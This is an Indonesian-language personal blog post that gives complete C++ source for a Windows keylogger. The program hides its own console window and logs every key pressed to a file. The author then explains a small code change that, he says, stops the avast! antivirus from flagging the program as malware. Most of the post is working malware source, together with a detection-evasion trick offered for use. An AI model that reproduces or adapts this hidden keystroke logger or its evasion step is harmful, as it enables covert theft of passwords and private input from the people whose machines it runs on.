Biar Nggak Diblok Antivirus…

Sekitar 2 minggu yang lalu gw ngutak atik source code keylogger yang gw dapet dari blog ini. Source code ini ditulis pake bahasa pemrograman C++, yang gw compile pake compiler g++ di IDE Dev C++ versi 4.9.9.2 beta. Hasilnya? Keylogger yang baru selesai dicompile itu nggak bisa dirun karena waktu selesai dicompile & dirun udah langsung diblok sama antivirus yang gw pake.

Setelah sempet zetsubou karena gw nggak bisa nyobain gimana kerja keyloggernya langsung, akhirnya gw ngelanjutin ke ngebaca-baca isi source codenya. Buat yang mungkin nggak pernah denger kata ‘zetsubou’, ini dari bahasa Jepang yang artinya putus asa atau hilang harapan (Jap. 絶望, Eng. despair). Gw seneng pake kata ini sejak nonton anime Sayonara, Zetsubou Sensei, gara-gara kepengaruh sama karakter utamanya yang sering ngomog “zetsuboushita” kalo lagi depresi. Oke, lupain itu. Ini source code yang gw copas dari blog itu tadi setelah gw rapiin sedikit indentasinya.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
    return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}

/* *********************************** */

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}

Nah, kayak yang gw bilang sebelumnya, kalo source code di atas ini dicopas, dicompile, & dirun begitu aja, keylogger yang dibuat bakal diblokir sama antivirus gw. Lalu gimana cara ngakalinnya biar nggak keblokir? Perhatiin isi for loop yang ada di function main() di atas, isi for loopnya begini.

for(i = 8; i <= 190; i++)
{
    if (GetAsyncKeyState(i) == -32767)
        Save (i,"LOG.txt");
}

Di situ program diset buat ngebaca state key dengan kode i di keyboard, di mana range i itu mulai dari 8 & selesai di 190. Kalau tombol dengan kode i ditekan, kode i bakal disimpen ke dalam file LOG.txt sebagai karakter yang ada di tombol yang bersangkutan. Langkah-langkah kerja kayak yang gw jelasin barusan itu yang dibaca sama antivirus gw.

Berhubung yang dicek antivirus gw itu langkah-langkah kerja kayak yang gw tulis tadi, berarti gw harus ngemodif sedikit urutan instruksi mulai dari waktu keylogger ini ngebaca state tombol keyboard sampe function Save() dijalanin. Ini contoh salah satu cara paling simpel buat bikin instruksi-instruksi buat ngebaca keystate sampe function Save() dijalanin itu biar nggak diblok sama antivirus yang gw pake.

for(i = 8; i <= 190; i++)
{
    if (GetAsyncKeyState(i) == -32767)
    {
        int x = i;
        Save (x,"LOG.txt");
    }
}

Dengan nambahin variabel x di program, ngeset nilai variabel x sama dengan variabel i, lalu ngesave keystate x, keylogger itu jadi nggak kedetect. Keliatannya di versi sekarang, avast! (antivirus gw) cuma ngecek variabel yang dijadiin parameter buat GetAsyncKeyState() & yang dijadiin parameter buat ngesave ke file. Kalo yang dicek keystatenya & yang disave ke file itu variabel yang sama, avast! bakal ngedetect kalo program yang dijalanin itu keylogger. Tapi kalo ternyata beda, programnya dianggap aplikasi biasa aja & bisa jalan tanpa kedetect sebagai malware.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s